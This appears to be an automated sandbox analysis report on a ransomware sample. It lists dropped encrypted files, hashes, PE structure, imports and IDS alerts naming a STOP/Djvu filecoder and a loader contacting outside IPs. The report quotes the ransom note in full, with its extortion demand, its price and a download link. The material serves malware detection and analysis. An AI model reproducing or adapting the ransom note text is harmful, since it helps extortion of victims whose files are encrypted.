Preview:	regf..2p.E..h..L....J....t.2.Exo.v.'..k^.A.]..)E...(.g.D..[.z.'........n.c.[......%...[.>Y..D.HJ..n...-m..}.n..S......e.....u.I.qk......?.2...........W..Es...UQ..tx.Kk+r...@..!c.{...J..!..A'..$....9..a....[.d9....J.T..`f.. .)...b........\G=9...T....B.....o.w..V....!.c.s.?.>.G.. c^"."...S.&..jV.A...$.p..=.0G...\gg(.-$y.nE/..?n.@....8!..p...._...E....<.ZK....1.~{. ..p.=.O<D...../k.J\.7.....U6.....P...f+..f[..j\...D7'......@..\|.....&....d&...\|#..J.=+..1t3a.U.Fxl.!..5,.../0.n&%=....n8.......ny.V.H.B.A.,.#...6.....0M.6.G0yy...@..wY....,..o....Xw.a....k..]9..l]..It.YB;.4...r.#........m.ENJ....<"...=...TJ.B.../q....hF.eH......3f..y.:=.i.....E.o..:.r...z..kHju...x...@..>.....;y..9..#.5..3a....i....8,....K@=..9p.B.2R.....9.....w.Ui.....d.LL.2dQ.......6..c$tX...fp.)...&)Z.....whI..k#......B...;.z\|f...i..Ju.&....;0.f...6.Qi.0......[.....>..v..}.BwX@.q.@.8J..D.d7$.8n..K.H...U..8\.26..=..}v.@`.....a].$..;W...tO.a.o.... /..U{.lK...(..gXB.

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982001850611161
Encrypted:	false
SSDEEP:	192:iHC910k38BKup2wnDOrXT0ZhVU+meQWInGtQnYEfC/i+:nf0k3R02wD+kVO8NIK/T
MD5:	4E7FEBF533B46C27A65D49D47EAFA777
SHA1:	B8CC8D4E64B1E4F128BB5D294B1E24BF86272244
SHA-256:	B4B504213272217B91E22EED5711BA08E131AACACB25D215069726BF3A1CC97D
SHA-512:	7132BC55296B857145904B3B9779959B711D31A4D13BEEB2C58A45987AF32D89F66240FEFA6E4AC57947CA6C12A834A1EE996E04DB4A9AD83C3424275656F1F2
Malicious:	false
Preview:	regf....<..s..t..71,Zq`KCp...vEG....r........?../.y....Jt....t.....k...............z...x.>........iN.x5.H.(F.V.5.S...V...d.......(wPU.7....PYjDJ.%8...........-.y..Q......x....$..x...!.Ye..0&S..\.RkL.....^.4t......wu....\|...ZI..S..s.(..^Q`{..")..<..?N..#..]0.I...8{G.?:...R!tv;....h.6\4.."H.C.$.+.H2.el7......n~Y..N.......!i....5..te.H....D}..V..t..m....^~...).P..xiW...Uzi.:.I.H[D}....f.)6...........T..g.gya8X\|..^...{.^0..=...2.9.....:<..c5.....].c.:.M..#3....DvKE......;g.t.Oc..ii...z.h..6s.....Xd..%..u.y.l..+.=..]...`h..64.IC..u.u...f..>...............}+..W.5:......h.\..U..Z.....Q.uHq"M.w.2...R..CB......s.;....X.-.P.n(....OI._.....gSL..U...1......kl...(...z..K.....%..2?....8...5...{Th..g.7..]....V.N..s...6.......&.d.....a.Z...z[G...j..8.}kX!.z.Z..:...w.,V-E... .......kD.(.W...OU...;...b..._...%s,...^?...C.....18...mk.x..+0.$..^K..2.....y9%..0.....<o.[[z.v.s.[.5....4.\..36.{..I#35.i:..u.>.%S...@`u.b......wV..g.&Mq.t.^......

C:\Users\user\Local Settings\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980534456173694
Encrypted:	false
SSDEEP:	192:teUcEe80McYDuAK6O38ppDRjRE72bWCdxlPBEe+YO+61ty3+:tcC0MW96OcLuCbHd1Ee+YO+6/yO
MD5:	63396DD567BAC9749AF7AF4D045DA4DB
SHA1:	DA8A47FD18BBA5B2D90345A0472654F85EBF1499
SHA-256:	DD1E787E8F896395B8FF3053B4D38A1C479C3B0320E4250D205E88E709B07D20
SHA-512:	68D87F5B9EB4D5E431DD01F4FDE3DF2FAC8D2B5F3BF3A9293DD0A6DBBBBF550A8B37D48386B38832B766BB299728D455A6DA27810D26BDEE08037B983C22450D
Malicious:	false
Preview:	regf./s$.d.wV...zM[.b..s}..KC.....gJ!...N....@"mN..Q...Ffm..~f1u.Z.......}1.uR...7....+....tH5......I%..G9j\|T_7..T.!m...Ml.G.<...G......`._C...4`(...%z..O.\|..m.H.K.s?..$5....'.MO.a.}....7h1....J.rx{l\|.a......T..X......~...32......C9.X.g..5..5.?.......h...\..[..m7.8.n.g2....T.".Q....-.D..~s....t...h>..1M+i..N.z.$k...k&.b\.YIGC..l..b....&g6.}9Ar,........V....%..* `I5:T.{.x.F.h.[...!.;.....]_.).&..#dm......m\|Q\|.N..X.h......%....~...:5.B.....D.....e...c..AId...1RK. ..dY9.s..].;.~.!....o.!.....IG..G.-...oh1.5..'........[...>.=.W..0m@...<v.(.....U....H..k.z.$^L$...i.qD..]Yp6jG..t...;..Z..f2.'.[(M...T.B$.o....K.p.$H/e..0..J..v.?.Y...L.s..'j.9..w..T.q...nd..2.w.N?..[.....L...p..B.1...uiN..q.N.".z..0?.2u...h,z....;.-2..j0.\.>o.....].....w..e.l.[..6..#P...{p.K......^.3....CFc.F..#.fg....-.]..........eq..9.!..+zf.{.xa.f..h..}.u....P.....s6........?..NW ..t....@.D]....U.2@..}..l.......C.. ...u_M*./..8......{..X..b............}Un.?S..-Kt......I

C:\Users\user\Local Settings\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9814131743724674
Encrypted:	false
SSDEEP:	192:auE0fdSy1/wCGOBphI0LpOjnmzTRADzS1MQ8DLBys7+:auLGOfhI2pOrmzlA61O0z
MD5:	3BC37811758B0FAC8DEBDC16F224AD1E
SHA1:	C0D778269A515C093FD7B42E4124097DCB9AED00
SHA-256:	BEB932E072D6B7CDCAB8227116F01BAC2943B0937AFBC094656F786397AED4DE
SHA-512:	450D798D31FF313978DF2B694264527A2A908DD7737FAC998E92D218C89530CCAE6050D8F95174A506FBCE440A20973A108CD3A4536B1AF8A19EBF9C2C1D7452
Malicious:	false
Preview:	regf.+.9bQ....s.K..h..M.j..z.]Q......{l.U`U&..LG....~....o..\|\) .X\|..#.p....B.@..t..Oj......z..&p.._...5 .L..p..>...-c>.............6a.B.g.."'h.n.2.`.n.I.q@)....d....Q.rN.;.......#...O..W..4W~u[.\|..n.!nT@{.E......QA!...l.J.q..h,1...xvb.dU.....%E.FyV<..4:P.9........)zU+Z{..HL($...LG.C.kg.QD..%m.E[x.1^L......$..1l].l.W...h....N..Y...F.[d.Qf."8...$.(...7^j'...bJ..'x.....u.Y..a#.=9.<.Q.M...)NS.4.......TX.g/.TG..........pS.....c'.i.>U..~kt.?.i.&6#.V.p.<KGEJ/.@..W...H.#.....).TP......1.a.R.E,.%...o.4.~@..`.H+-.1{.).U..w...Dl".Itu{w...]...jHJdG.....9....<.!.....W..$.;.z\.....)..j....v..g......<.5{.h...:.....q.)!..j..A.......E....tJ....S.[...x........<&h.%.[".._...h.l...Fy.e.......^f...p...My..[.kC.... z(...#...........[.(.z..'8...3}/..dp..y....j.H5..u..~.uG...J>].....19?..t..!.}...m;..#7.o.J..c.)CM....zZ.e.r..g..X..u..h'.....M.u.t...e.@.U......+ ,..t0..ybCF...?.T.z...QQ.z....."Z.#...B!4....0....d{..b..S$.....{....L.~........~.kd...$..T.

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981541379582226
Encrypted:	false
SSDEEP:	192:1OaIxitIPDnYPBPW/G7W1ni3HT3JaC+tclztqR6PA07+:LkiyDnYxW+7W1i34LQPA0S
MD5:	02A510E2E24737C924490F37811B9B6E
SHA1:	87C2842972DD9456AE0BD8D1C72C80093817E23D
SHA-256:	F5F234ACCA05054A134BCE546A0ACE565085F6C8C4A11D43D844905575348697
SHA-512:	EF60C6229337FEE1E47AB0655062F61CC17D6BD6CCE4377B521F5BFF742012A7A7647D468128BAC940DB0F427DCAA60C8285C5A945E64F33F50E60FE48365ABD
Malicious:	false
Preview:	regf..,......7..g.$.u..$.^.,gA.3.g...4...T+.V.7....mw#.2.#...W'y...zE....l.`..A.o..o..."&x......N......8}E.&h.6.6.......%`........B:.FH..)..q..~.8...U.,..3...B........,.G..rn.FY...S....R;.VrK.......b....v...o.H...+{.\l...Ve%.8.V.6....L:..$..\|...=.......~.5.}I...-..AaeJ...O(.......i.h."+...k&(..9..f..i]...8+#.0{.../...\.G1.}1...i4@........[.Z.....{..D.T.c......#)s7J...t..K...[..p..U.=.X..$E.\|%0$~.....x9.rS.e....~..... .).#gB......_..ZoPG....$l.~#.a...aT..H_.W./U.1....F...m8j`.'.m.....:.}B. P.3.....i...d....Ox..P.k.5.:!R~...W&........Jz..C"DzY.Q...E.oi.......Z .G.9...k.`.x..).<....([....w.-..V?..L....S\.V.g/..s..G.K.8\9..............,.%@...:.\..Z..T.. ...'.^J...NKY.5..RB..K.H..p.....v.......lA..9.2..x...@....w:..;.xmE..-...ofY.,....D.T=....%..D.-.e..`r.._..e..!...3.H..l."h..f.....`.w.?..m.t+\..P....0.+..j..'4...DcY-~`.....,K.k...%w1..!/.a...Q..aVTS.U..kn!.....)r...a$qZ.E..~g...&.....j..88^,...M....G.l...#...l..%a.f...M..>*X..l.<.../9f...\|=GY...

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.841638682176169
Encrypted:	false
SSDEEP:	24:UrCnFEYJ211MZ2OagYLmQ5IoLqnuWRGj3w3cixANlhQfFlF/sbD:UYJs1MAV5RLM/gjA3cSANS/mD
MD5:	AF9D66BA7BE0915F1D42D2D605F3B380
SHA1:	8740614A1503BDAF8CD97B4C196E6C09858EC28E
SHA-256:	DAA88B7BDB3B81FED633AD21CD255BECDA3A541D79E8014EF24BEB54B5ECC53B
SHA-512:	3FA9C4986ADCA065AF49E5392F509809DA32374C6C43560C9981C1F8EDE40AC4E03238D61E042DE3916BC250FA38AEA2D7BCB4DE873045154165E7EC83E60F89
Malicious:	false
Preview:	<?xml...8...#E.\|.....j.\|..I.@.y.8..Ex$.l'...../.,..UF...~B.W.q.c.4ZkE`.....I..L{..\|}.y..>..l..... .<.i..Z';.E`..0w.......?...8i......#2@l.&$..>.w.A...t.6.F. .U.H].:..=....3@......{.W.....(/.[6A..J.K.k?..N..+`.nA.......!.(..e......Esh..q.\|..L..1...p..6..^.b..../E..N..4&.m.j............n. v..U <.)/O.....N`\|.Vam........#..B..X...K...8..d.G....`d. ..e..@3&...mY6...I(.HF9.!#.._0..$X\...!...>.^...o...o ...8.5..J.......r.}3.7D.m.\.h)J[%.B&.1.3...-....#.:+.Y...L.......On^...M.<.......Uv.Cs.dP4.<...mO.`k..7.7.)D.F\|.e`,....W!w..-..8>u.....).t..p..GD..p..W..{..weitf.x.B..mR...k=rP...sE.VI....]..v.o1vQ... ....Me.W.C.....#.1.X%.y......!...$.%.,...".3...};X...!...Q...W..weOA.{#d7.%_..5...[...^.:g......31?...'d...m..j.r..-?.zN.o.$..i. . x.>.H........@.Q"p.K....._..I)...T.L..\|..7..;..B0T.....@..J...#..z.1.so...;..6x. .....g....Q.......@[..?.X.z..B'...H.....?gP.1.jy.?.......,.6..]YR.hM.c..7v.....k.8%pe&.~2.K..$.L..$.7.l.b....U..#R...

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.841638682176169
Encrypted:	false
SSDEEP:	24:UrCnFEYJ211MZ2OagYLmQ5IoLqnuWRGj3w3cixANlhQfFlF/sbD:UYJs1MAV5RLM/gjA3cSANS/mD
MD5:	AF9D66BA7BE0915F1D42D2D605F3B380
SHA1:	8740614A1503BDAF8CD97B4C196E6C09858EC28E
SHA-256:	DAA88B7BDB3B81FED633AD21CD255BECDA3A541D79E8014EF24BEB54B5ECC53B
SHA-512:	3FA9C4986ADCA065AF49E5392F509809DA32374C6C43560C9981C1F8EDE40AC4E03238D61E042DE3916BC250FA38AEA2D7BCB4DE873045154165E7EC83E60F89
Malicious:	false
Preview:	<?xml...8...#E.\|.....j.\|..I.@.y.8..Ex$.l'...../.,..UF...~B.W.q.c.4ZkE`.....I..L{..\|}.y..>..l..... .<.i..Z';.E`..0w.......?...8i......#2@l.&$..>.w.A...t.6.F. .U.H].:..=....3@......{.W.....(/.[6A..J.K.k?..N..+`.nA.......!.(..e......Esh..q.\|..L..1...p..6..^.b..../E..N..4&.m.j............n. v..U <.)/O.....N`\|.Vam........#..B..X...K...8..d.G....`d. ..e..@3&...mY6...I(.HF9.!#.._0..$X\...!...>.^...o...o ...8.5..J.......r.}3.7D.m.\.h)J[%.B&.1.3...-....#.:+.Y...L.......On^...M.<.......Uv.Cs.dP4.<...mO.`k..7.7.)D.F\|.e`,....W!w..-..8>u.....).t..p..GD..p..W..{..weitf.x.B..mR...k=rP...sE.VI....]..v.o1vQ... ....Me.W.C.....#.1.X%.y......!...$.%.,...".3...};X...!...Q...W..weOA.{#d7.%_..5...[...^.:g......31?...'d...m..j.r..-?.zN.o.$..i. . x.>.H........@.Q"p.K....._..I)...T.L..\|..7..;..B0T.....@..J...#..z.1.so...;..6x. .....g....Q.......@[..?.X.z..B'...H.....?gP.1.jy.?.......,.6..]YR.hM.c..7v.....k.8%pe&.~2.K..$.L..$.7.l.b....U..#R...

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.886902769076487
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3C:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kV
MD5:	DA7AFEAE8B1C0BFBA8EC3049E4183D79
SHA1:	A988BC269E10958101D519FFF2EB53B683F8DD86
SHA-256:	02D3BE759FEBD8BC1949FE18220550E2A2C73DC764AED3D8F108C0676E8BE517
SHA-512:	384B94BDE8D2B9FC2834F70888855D2297D950E52A1136C6B2EC4B8AA5FA0AC5D8636061FC71D4E7CA4FD93CA45F1FAF65AF8970599C6B0AF99E382D5A71CAE4
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.886902769076487
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3C:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kV
MD5:	DA7AFEAE8B1C0BFBA8EC3049E4183D79
SHA1:	A988BC269E10958101D519FFF2EB53B683F8DD86
SHA-256:	02D3BE759FEBD8BC1949FE18220550E2A2C73DC764AED3D8F108C0676E8BE517
SHA-512:	384B94BDE8D2B9FC2834F70888855D2297D950E52A1136C6B2EC4B8AA5FA0AC5D8636061FC71D4E7CA4FD93CA45F1FAF65AF8970599C6B0AF99E382D5A71CAE4
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.643913422729827
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Z4CYGTBlj7.exe
File size:	799'232 bytes
MD5:	f4c37292b365c19e6d2feeb6a17c4049
SHA1:	a7c201719a6c4e58f57baa2a88b110d72f3daefe
SHA256:	444cf71032e7c7be2a79255af4fb38bab0333fb0a060ecc3fe91473d26ebce83
SHA512:	8436f1f96c2ea3487e1205d2f0dbf8db33fc622a9d863f39402802a8c16bb05897477ba58d57fcb7d7a6bb265c52a25331ac5505dd3ac2c6b3fc2823eb56f805
SSDEEP:	12288:6DcWGLixjy0li5QMCgpMeahQ+siBwpBezGbkhvYesVmKiOAfc4Cz9fA1iqCD:6iily4i3CgeSKBtXKiMt9fa8D
TLSH:	E20512003EE6D8B0E4B3C7359C249AA0D23BFCB7A071497733582A4F5AB12D1955EB76
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G..a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&....Z.`&..ltd.`&....a.`&..Richa&..........PE..L.....ud...................

File Icon


Icon Hash:	412d51455545610d

Static PE Info

General

Entrypoint:	0x403f4f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6475818A [Tue May 30 04:54:34 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0c221599ea7b9c4f042cfb23a69ed3b1

Entrypoint Preview

Instruction
call 00007FE4848D6145h
jmp 00007FE4848D15B5h
push 00000014h
push 00418950h
call 00007FE4848D28B0h
call 00007FE4848D6316h
movzx esi, ax
push 00000002h
call 00007FE4848D60D8h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007FE4848D15B6h
xor ebx, ebx
jmp 00007FE4848D15E5h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007FE4848D159Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007FE4848D158Fh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007FE4848D15BBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007FE4848D5B4Bh
test eax, eax
jne 00007FE4848D15BAh
push 0000001Ch
call 00007FE4848D1691h
pop ecx
call 00007FE4848D5AA7h
test eax, eax
jne 00007FE4848D15BAh
push 00000010h
call 00007FE4848D1680h
pop ecx
call 00007FE4848D6151h
and dword ptr [ebp-04h], 00000000h
call 00007FE4848D3981h
test eax, eax
jns 00007FE4848D15BAh
push 0000001Bh
call 00007FE4848D1666h
pop ecx
call dword ptr [004110B8h]
mov dword ptr [0409FC3Ch], eax
call 00007FE4848D616Ch
mov dword ptr [004B218Ch], eax
call 00007FE4848D5B0Fh
test eax, eax
jns 00007FE4848D15BAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18d84	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca0000	0x12580	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x111f0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x182b8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x188	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfd78	0xfe00	7237639931e0690be4052c30c2381f18	False	0.6032080462598425	data	6.716083189323613	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x8670	0x8800	700d0911d5898938feb53386120b7e94	False	0.44987936580882354	data	5.0755640506543	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x3c85c40	0x98200	2136c8602c2f54da427bbd73cfdb6ba3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca0000	0x12580	0x12600	cf7ffa99a616852fc158a535646a86ac	False	0.4387622236394558	data	5.178923507585962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cad0d8	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cad0e8	0xe	data			1.5714285714285714
RT_CURSOR	0x3cad0f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x3cadfa0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x3cae848	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x3caede0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x3cafc88	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x3cb0530	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x3ca0740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5658315565031983
RT_ICON	0x3ca15e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.546028880866426
RT_ICON	0x3ca1e90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6192196531791907
RT_ICON	0x3ca23f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4616182572614108
RT_ICON	0x3ca49a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4878048780487805
RT_ICON	0x3ca5a48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.494672131147541
RT_ICON	0x3ca63d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.4512411347517731
RT_ICON	0x3ca68a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.4189765458422175
RT_ICON	0x3ca7748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47653429602888087
RT_ICON	0x3ca7ff0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5766129032258065
RT_ICON	0x3ca86b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.47760115606936415
RT_ICON	0x3ca8c20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46898340248962656
RT_ICON	0x3cab1c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4842870544090056
RT_ICON	0x3cac270	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5024590163934426
RT_ICON	0x3cacbf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5593971631205674
RT_STRING	0x3cb0cb0	0x3d2	data	Romanian	Romania	0.46319018404907975
RT_STRING	0x3cb1088	0x3bc	data	Romanian	Romania	0.4592050209205021
RT_STRING	0x3cb1448	0x52c	data	Romanian	Romania	0.438821752265861
RT_STRING	0x3cb1978	0x11a	data	Romanian	Romania	0.5531914893617021
RT_STRING	0x3cb1a98	0x30a	data	Romanian	Romania	0.4768637532133676
RT_STRING	0x3cb1da8	0x7d6	data	Romanian	Romania	0.4147557328015952
RT_GROUP_CURSOR	0x3caedb0	0x30	data			0.9375
RT_GROUP_CURSOR	0x3cb0a98	0x30	data			0.9375
RT_GROUP_ICON	0x3ca6838	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3cad060	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cb0ac8	0x1e4	data			0.5433884297520661

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, WriteConsoleW, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, ChangeTimerQueueTimer, SetLastError, FindResourceExW, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, SetCalendarInfoA, GetWindowsDirectoryW, GetConsoleProcessList, GetVolumeInformationW, GetThreadLocale, GetSystemDefaultLangID, GetStringTypeW, OutputDebugStringW, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-12:07:05.352564	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49710	189.163.142.13	192.168.2.5
04/24/24-12:07:07.604088	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49711	80	192.168.2.5	189.163.142.13
04/24/24-12:07:04.822645	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49708	80	192.168.2.5	211.181.24.133
